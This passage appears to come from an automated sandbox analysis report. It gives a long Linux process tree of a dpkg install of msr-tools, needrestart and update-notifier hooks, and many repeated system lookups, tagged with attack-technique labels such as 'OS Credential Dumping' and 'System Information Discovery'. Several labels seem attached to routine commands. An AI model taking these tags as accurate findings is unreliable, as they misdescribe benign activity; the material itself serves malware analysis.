                                      sh -c "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
                                      4⤵
                                        PID:1587
                                      • /usr/bin/sh
                                        sh -c "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
                                        4⤵
                                          PID:1587
                                          • /usr/lib/needrestart/dpkg-status
                                            /usr/lib/needrestart/dpkg-status
                                            5⤵
                                              PID:1589
                                              • /usr/bin/mkdir
                                                mkdir -p /run/needrestart
                                                6⤵
                                                  PID:1590
                                                • /usr/bin/touch
                                                  touch /run/needrestart/unpacked
                                                  6⤵
                                                    PID:1599
                                              • /usr/sbin/dpkg-split
                                                dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb
                                                4⤵
                                                  PID:1591
                                                • /usr/bin/dpkg-split
                                                  dpkg-split -Qao /var/lib/dpkg/reassemble.deb /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb
                                                  4⤵
                                                  • Software Deployment Tools
                                                  PID:1591
                                                • /usr/sbin/dpkg-deb
                                                  dpkg-deb --control /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb /var/lib/dpkg/tmp.ci
                                                  4⤵
                                                    PID:1592
                                                  • /usr/bin/dpkg-deb
                                                    dpkg-deb --control /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb /var/lib/dpkg/tmp.ci
                                                    4⤵
                                                      PID:1592
                                                      • /usr/sbin/tar
                                                        tar -x -f - "--warning=no-timestamp"
                                                        5⤵
                                                          PID:1595
                                                        • /usr/bin/tar
                                                          tar -x -f - "--warning=no-timestamp"
                                                          5⤵
                                                            PID:1595
                                                        • /usr/sbin/dpkg-deb
                                                          dpkg-deb --fsys-tarfile /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb
                                                          4⤵
                                                            PID:1596
                                                          • /usr/bin/dpkg-deb
                                                            dpkg-deb --fsys-tarfile /var/cache/apt/archives/msr-tools_1.3-4_amd64.deb
                                                            4⤵
                                                              PID:1596
                                                            • /usr/sbin/rm
                                                              rm -rf -- /var/lib/dpkg/tmp.ci
                                                              4⤵
                                                                PID:1600
                                                              • /usr/bin/rm
                                                                rm -rf -- /var/lib/dpkg/tmp.ci
                                                                4⤵
                                                                  PID:1600
                                                              • /usr/bin/dpkg
                                                                /usr/bin/dpkg --status-fd 42 --configure --pending
                                                                3⤵
                                                                • Software Deployment Tools
                                                                PID:1601
                                                                • /usr/sbin/sh
                                                                  sh -c "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
                                                                  4⤵
                                                                    PID:1602
                                                                  • /usr/bin/sh
                                                                    sh -c "(test -x /usr/lib/needrestart/dpkg-status && /usr/lib/needrestart/dpkg-status || cat > /dev/null)"
                                                                    4⤵
                                                                      PID:1602
                                                                      • /usr/lib/needrestart/dpkg-status
                                                                        /usr/lib/needrestart/dpkg-status
                                                                        5⤵
                                                                          PID:1604
                                                                          • /usr/bin/mkdir
                                                                            mkdir -p /run/needrestart
                                                                            6⤵
                                                                              PID:1605
                                                                            • /usr/bin/touch
                                                                              touch /run/needrestart/unpacked
                                                                              6⤵
                                                                                PID:1606
                                                                          • /var/lib/dpkg/info/man-db.postinst
                                                                            /var/lib/dpkg/info/man-db.postinst triggered /usr/share/man
                                                                            4⤵
                                                                              PID:1607
                                                                              • /usr/bin/perl
                                                                                perl -e "@pwd = getpwnam(\"man\"); \$) = \$( = \$pwd[3]; \$> = \$< = \$pwd[2]; exec \"/usr/bin/mandb\", @ARGV" -- -pq
                                                                                5⤵
                                                                                • OS Credential Dumping
                                                                                PID:1608
                                                                              • /usr/bin/mandb
                                                                                /usr/bin/mandb -pq
                                                                                5⤵
                                                                                  PID:1608
                                                                            • /usr/bin/dpkg
                                                                              /usr/bin/dpkg --print-foreign-architectures
                                                                              3⤵
                                                                                PID:1609
                                                                              • /usr/bin/dpkg
                                                                                /usr/bin/dpkg --print-foreign-architectures
                                                                                3⤵
                                                                                  PID:1610
                                                                                • /usr/bin/dpkg
                                                                                  /usr/bin/dpkg --print-foreign-architectures
                                                                                  3⤵
                                                                                    PID:1611
                                                                                  • /bin/sh
                                                                                    sh -c "/usr/bin/test -e /usr/share/dbus-1/system-services/org.freedesktop.PackageKit.service && /usr/bin/test -S /var/run/dbus/system_bus_socket && /usr/bin/gdbus call --system --dest org.freedesktop.PackageKit --object-path /org/freedesktop/PackageKit --timeout 4 --method org.freedesktop.PackageKit.StateHasChanged cache-update > /dev/null; /bin/echo > /dev/null"
                                                                                    3⤵
                                                                                      PID:1613
                                                                                      • /usr/bin/test
                                                                                        /usr/bin/test -e /usr/share/dbus-1/system-services/org.freedesktop.PackageKit.service
                                                                                        4⤵
                                                                                          PID:1614
                                                                                        • /usr/bin/test
                                                                                          /usr/bin/test -S /var/run/dbus/system_bus_socket
                                                                                          4⤵
                                                                                            PID:1615
                                                                                          • /usr/bin/gdbus
                                                                                            /usr/bin/gdbus call --system --dest org.freedesktop.PackageKit --object-path /org/freedesktop/PackageKit --timeout 4 --method org.freedesktop.PackageKit.StateHasChanged cache-update
                                                                                            4⤵
                                                                                            • Changes its process name
                                                                                            PID:1616
                                                                                          • /bin/echo
                                                                                            /bin/echo
                                                                                            4⤵
                                                                                              PID:1619
                                                                                          • /bin/sh
                                                                                            sh -c "test -x /usr/lib/needrestart/apt-pinvoke && /usr/lib/needrestart/apt-pinvoke || true"
                                                                                            3⤵
                                                                                              PID:1620
                                                                                              • /usr/lib/needrestart/apt-pinvoke
                                                                                                /usr/lib/needrestart/apt-pinvoke
                                                                                                4⤵
                                                                                                  PID:1621
                                                                                                  • /usr/bin/dbus-send
                                                                                                    dbus-send --system "--dest=org.freedesktop.login1" --print-reply /org/freedesktop/login1 org.freedesktop.DBus.Properties.Get string:org.freedesktop.login1.Manager string:PreparingForShutdown
                                                                                                    5⤵
                                                                                                      PID:1622
                                                                                                    • /usr/bin/rm
                                                                                                      rm -f /run/needrestart/unpacked
                                                                                                      5⤵
                                                                                                        PID:1623
                                                                                                    • /usr/sbin/needrestart
                                                                                                      /usr/sbin/needrestart
                                                                                                      4⤵
                                                                                                      • Reads runtime system information
                                                                                                      PID:1621
                                                                                                      • /usr/bin/systemd-detect-virt
                                                                                                        /usr/bin/systemd-detect-virt --vm --quiet
                                                                                                        5⤵
                                                                                                        • Checks hardware identifiers (DMI)
                                                                                                        • Checks CPU configuration
                                                                                                        PID:1624
                                                                                                      • /usr/bin/systemd-detect-virt
                                                                                                        /usr/bin/systemd-detect-virt --container --quiet
                                                                                                        5⤵
                                                                                                        • Reads runtime system information
                                                                                                        PID:1625
                                                                                                      • /usr/local/sbin/who
                                                                                                        who -r
                                                                                                        5⤵
                                                                                                          PID:1626
                                                                                                        • /usr/local/bin/who
                                                                                                          who -r
                                                                                                          5⤵
                                                                                                            PID:1626
                                                                                                          • /usr/sbin/who
                                                                                                            who -r
                                                                                                            5⤵
                                                                                                              PID:1626
                                                                                                            • /usr/bin/who
                                                                                                              who -r
                                                                                                              5⤵
                                                                                                                PID:1626
                                                                                                            • /usr/share/debconf/frontend
                                                                                                              /usr/share/debconf/frontend /usr/sbin/needrestart
                                                                                                              4⤵
                                                                                                              • OS Credential Dumping
                                                                                                              PID:1621
                                                                                                              • /usr/local/sbin/locale
                                                                                                                locale charmap
                                                                                                                5⤵
                                                                                                                  PID:1627
                                                                                                                • /usr/local/bin/locale
                                                                                                                  locale charmap
                                                                                                                  5⤵
                                                                                                                    PID:1627
                                                                                                                  • /usr/sbin/locale
                                                                                                                    locale charmap
                                                                                                                    5⤵
                                                                                                                      PID:1627
                                                                                                                    • /usr/bin/locale
                                                                                                                      locale charmap
                                                                                                                      5⤵
                                                                                                                        PID:1627
                                                                                                                      • /bin/sh
                                                                                                                        sh -c "stty -a 2>/dev/null"
                                                                                                                        5⤵
                                                                                                                          PID:1628
                                                                                                                          • /usr/bin/stty
                                                                                                                            stty -a
                                                                                                                            6⤵
                                                                                                                              PID:1629
                                                                                                                          • /bin/sh
                                                                                                                            sh -c "stty -a 2>/dev/null"
                                                                                                                            5⤵
                                                                                                                              PID:1630
                                                                                                                              • /usr/bin/stty
                                                                                                                                stty -a
                                                                                                                                6⤵
                                                                                                                                  PID:1631
                                                                                                                              • /bin/sh
                                                                                                                                sh -c "stty -a 2>/dev/null"
                                                                                                                                5⤵
                                                                                                                                  PID:1632
                                                                                                                                  • /usr/bin/stty
                                                                                                                                    stty -a
                                                                                                                                    6⤵
                                                                                                                                      PID:1633
                                                                                                                                  • /bin/sh
                                                                                                                                    sh -c "stty -a 2>/dev/null"
                                                                                                                                    5⤵
                                                                                                                                      PID:1634
                                                                                                                                      • /usr/bin/stty
                                                                                                                                        stty -a
                                                                                                                                        6⤵
                                                                                                                                          PID:1635
                                                                                                                                      • /bin/sh
                                                                                                                                        sh -c "stty -a 2>/dev/null"
                                                                                                                                        5⤵
                                                                                                                                          PID:1636
                                                                                                                                          • /usr/bin/stty
                                                                                                                                            stty -a
                                                                                                                                            6⤵
                                                                                                                                              PID:1637
                                                                                                                                          • /bin/sh
                                                                                                                                            sh -c "stty -a 2>/dev/null"
                                                                                                                                            5⤵
                                                                                                                                              PID:1638
                                                                                                                                              • /usr/bin/stty
                                                                                                                                                stty -a
                                                                                                                                                6⤵
                                                                                                                                                  PID:1639
                                                                                                                                              • /usr/sbin/needrestart
                                                                                                                                                /usr/sbin/needrestart
                                                                                                                                                5⤵
                                                                                                                                                • Reads process memory
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1640
                                                                                                                                                • /usr/bin/systemd-detect-virt
                                                                                                                                                  /usr/bin/systemd-detect-virt --vm --quiet
                                                                                                                                                  6⤵
                                                                                                                                                  • Checks hardware identifiers (DMI)
                                                                                                                                                  • Checks CPU configuration
                                                                                                                                                  PID:1641
                                                                                                                                                • /usr/bin/systemd-detect-virt
                                                                                                                                                  /usr/bin/systemd-detect-virt --container --quiet
                                                                                                                                                  6⤵
                                                                                                                                                    PID:1642
                                                                                                                                                  • /usr/local/sbin/who
                                                                                                                                                    who -r
                                                                                                                                                    6⤵
                                                                                                                                                      PID:1643
                                                                                                                                                    • /usr/local/bin/who
                                                                                                                                                      who -r
                                                                                                                                                      6⤵
                                                                                                                                                        PID:1643
                                                                                                                                                      • /usr/sbin/who
                                                                                                                                                        who -r
                                                                                                                                                        6⤵
                                                                                                                                                          PID:1643
                                                                                                                                                        • /usr/bin/who
                                                                                                                                                          who -r
                                                                                                                                                          6⤵
                                                                                                                                                            PID:1643
                                                                                                                                                          • /usr/bin/python3.10
                                                                                                                                                            /usr/bin/python3.10 -
                                                                                                                                                            6⤵
                                                                                                                                                              PID:1644
                                                                                                                                                            • /usr/bin/python3.10
                                                                                                                                                              /usr/bin/python3.10 -
                                                                                                                                                              6⤵
                                                                                                                                                                PID:1645
                                                                                                                                                        • /bin/sh
                                                                                                                                                          sh -c "if [ -d /var/lib/update-notifier ]; then touch /var/lib/update-notifier/dpkg-run-stamp; fi; /usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1646
                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                              touch /var/lib/update-notifier/dpkg-run-stamp
                                                                                                                                                              4⤵
                                                                                                                                                                PID:1647
                                                                                                                                                              • /usr/lib/update-notifier/update-motd-updates-available
                                                                                                                                                                /usr/lib/update-notifier/update-motd-updates-available
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:1648
                                                                                                                                                                  • /usr/bin/apt-config
                                                                                                                                                                    apt-config shell StateDir Dir::State
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:1649
                                                                                                                                                                      • /usr/bin/dpkg
                                                                                                                                                                        /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:1650
                                                                                                                                                                      • /usr/bin/apt-config
                                                                                                                                                                        apt-config shell ListDir Dir::State::Lists
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:1651
                                                                                                                                                                          • /usr/bin/dpkg
                                                                                                                                                                            /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:1652
                                                                                                                                                                          • /usr/bin/apt-config
                                                                                                                                                                            apt-config shell DpkgStatus Dir::State::status
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:1653
                                                                                                                                                                              • /usr/bin/dpkg
                                                                                                                                                                                /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:1654
                                                                                                                                                                              • /usr/bin/apt-config
                                                                                                                                                                                apt-config shell EtcDir Dir::Etc
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:1655
                                                                                                                                                                                  • /usr/bin/dpkg
                                                                                                                                                                                    /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:1656
                                                                                                                                                                                  • /usr/bin/apt-config
                                                                                                                                                                                    apt-config shell SourceList Dir::Etc::sourcelist
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:1657
                                                                                                                                                                                      • /usr/bin/dpkg
                                                                                                                                                                                        /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:1658
                                                                                                                                                                                      • /usr/bin/find
                                                                                                                                                                                        find /var/lib/apt/lists/ /etc/apt/sources.list //var/lib/dpkg/status -type f -newer /var/lib/update-notifier/updates-available -print -quit
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:1659
                                                                                                                                                                                        • /usr/bin/dirname
                                                                                                                                                                                          dirname /var/lib/update-notifier/updates-available
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:1661
                                                                                                                                                                                          • /usr/bin/mktemp
                                                                                                                                                                                            mktemp -p /var/lib/update-notifier
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:1660
                                                                                                                                                                                            • /usr/lib/update-notifier/apt-check
                                                                                                                                                                                              /usr/lib/update-notifier/apt-check --human-readable
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:1662
                                                                                                                                                                                                • /usr/bin/dpkg
                                                                                                                                                                                                  /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:1663
                                                                                                                                                                                                  • /usr/bin/dpkg
                                                                                                                                                                                                    /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:1664
                                                                                                                                                                                                    • /usr/bin/ischroot
                                                                                                                                                                                                      /usr/bin/ischroot -t
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                      • Checks mountinfo of local process
                                                                                                                                                                                                      PID:1665
                                                                                                                                                                                                    • /usr/bin/dpkg
                                                                                                                                                                                                      /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:1666
                                                                                                                                                                                                      • /usr/bin/dpkg
                                                                                                                                                                                                        /usr/bin/dpkg --print-foreign-architectures
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:1667
                                                                                                                                                                                                        • /usr/local/sbin/lsb_release
                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                          • System Information Discovery
                                                                                                                                                                                                          PID:1668
                                                                                                                                                                                                        • /usr/local/bin/lsb_release
                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                          • System Information Discovery
                                                                                                                                                                                                          PID:1668
                                                                                                                                                                                                        • /usr/sbin/lsb_release
                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                          • System Information Discovery
                                                                                                                                                                                                          PID:1668
                                                                                                                                                                                                        • /usr/bin/lsb_release
                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:1668
                                                                                                                                                                                                          • /usr/local/sbin/lsb_release
                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                            PID:1669
                                                                                                                                                                                                          • /usr/local/bin/lsb_release
                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                            PID:1669
                                                                                                                                                                                                          • /usr/sbin/lsb_release
                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:1669
                                                                                                                                                                                                            • /usr/bin/lsb_release
                                                                                                                                                                                                              lsb_release -c -s
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:1669
                                                                                                                                                                                                              • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                PID:1670
                                                                                                                                                                                                              • /usr/local/bin/lsb_release
                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                PID:1670
                                                                                                                                                                                                              • /usr/sbin/lsb_release
                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                PID:1670
                                                                                                                                                                                                              • /usr/bin/lsb_release
                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                PID:1670
                                                                                                                                                                                                              • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                PID:1671
                                                                                                                                                                                                              • /usr/local/bin/lsb_release
                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:1671
                                                                                                                                                                                                                • /usr/sbin/lsb_release
                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                  PID:1671
                                                                                                                                                                                                                • /usr/bin/lsb_release
                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                  PID:1671
                                                                                                                                                                                                                • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:1672
                                                                                                                                                                                                                  • /usr/local/bin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1672
                                                                                                                                                                                                                  • /usr/sbin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1672
                                                                                                                                                                                                                  • /usr/bin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1672
                                                                                                                                                                                                                  • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1673
                                                                                                                                                                                                                  • /usr/local/bin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1673
                                                                                                                                                                                                                  • /usr/sbin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1673
                                                                                                                                                                                                                  • /usr/bin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1673
                                                                                                                                                                                                                  • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1674
                                                                                                                                                                                                                  • /usr/local/bin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                    PID:1674
                                                                                                                                                                                                                  • /usr/sbin/lsb_release
                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:1674
                                                                                                                                                                                                                    • /usr/bin/lsb_release
                                                                                                                                                                                                                      lsb_release -c -s
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:1674
                                                                                                                                                                                                                      • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                        lsb_release -c -s
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:1675
                                                                                                                                                                                                                        • /usr/local/bin/lsb_release
                                                                                                                                                                                                                          lsb_release -c -s
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:1675
                                                                                                                                                                                                                          • /usr/sbin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1675
                                                                                                                                                                                                                          • /usr/bin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1675
                                                                                                                                                                                                                          • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                                          • /usr/local/bin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                                          • /usr/sbin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                                          • /usr/bin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1676
                                                                                                                                                                                                                          • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1677
                                                                                                                                                                                                                          • /usr/local/bin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1677
                                                                                                                                                                                                                          • /usr/sbin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1677
                                                                                                                                                                                                                          • /usr/bin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1677
                                                                                                                                                                                                                          • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • System Information Discovery
                                                                                                                                                                                                                            PID:1678
                                                                                                                                                                                                                          • /usr/local/bin/lsb_release
                                                                                                                                                                                                                            lsb_release -c -s
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:1678
                                                                                                                                                                                                                            • /usr/sbin/lsb_release
                                                                                                                                                                                                                              lsb_release -c -s
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • System Information Discovery
                                                                                                                                                                                                                              PID:1678
                                                                                                                                                                                                                            • /usr/bin/lsb_release
                                                                                                                                                                                                                              lsb_release -c -s
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • System Information Discovery
                                                                                                                                                                                                                              PID:1678
                                                                                                                                                                                                                            • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                              lsb_release -c -s
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • System Information Discovery
                                                                                                                                                                                                                              PID:1679
                                                                                                                                                                                                                            • /usr/local/bin/lsb_release
                                                                                                                                                                                                                              lsb_release -c -s
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • System Information Discovery
                                                                                                                                                                                                                              PID:1679
                                                                                                                                                                                                                            • /usr/sbin/lsb_release
                                                                                                                                                                                                                              lsb_release -c -s
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:1679
                                                                                                                                                                                                                              • /usr/bin/lsb_release
                                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                                PID:1679
                                                                                                                                                                                                                              • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                                PID:1680
                                                                                                                                                                                                                              • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                                PID:1680
                                                                                                                                                                                                                              • /usr/sbin/lsb_release
                                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                • System Information Discovery
                                                                                                                                                                                                                                PID:1680
                                                                                                                                                                                                                              • /usr/bin/lsb_release
                                                                                                                                                                                                                                lsb_release -c -s
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:1680
                                                                                                                                                                                                                                • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1681
                                                                                                                                                                                                                                • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1681
                                                                                                                                                                                                                                • /usr/sbin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1681
                                                                                                                                                                                                                                • /usr/bin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1681
                                                                                                                                                                                                                                • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1682
                                                                                                                                                                                                                                • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1682
                                                                                                                                                                                                                                • /usr/sbin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • System Information Discovery
                                                                                                                                                                                                                                  PID:1682
                                                                                                                                                                                                                                • /usr/bin/lsb_release
                                                                                                                                                                                                                                  lsb_release -c -s
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:1682
                                                                                                                                                                                                                                  • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                                    PID:1683
                                                                                                                                                                                                                                  • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                                    PID:1683
                                                                                                                                                                                                                                  • /usr/sbin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                                    PID:1683
                                                                                                                                                                                                                                  • /usr/bin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                                    PID:1683
                                                                                                                                                                                                                                  • /usr/local/sbin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                                    PID:1684
                                                                                                                                                                                                                                  • /usr/local/bin/lsb_release
                                                                                                                                                                                                                                    lsb_release -c -s
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • System Information Discovery
                                                                                                                                                                                                                                    PID:1684
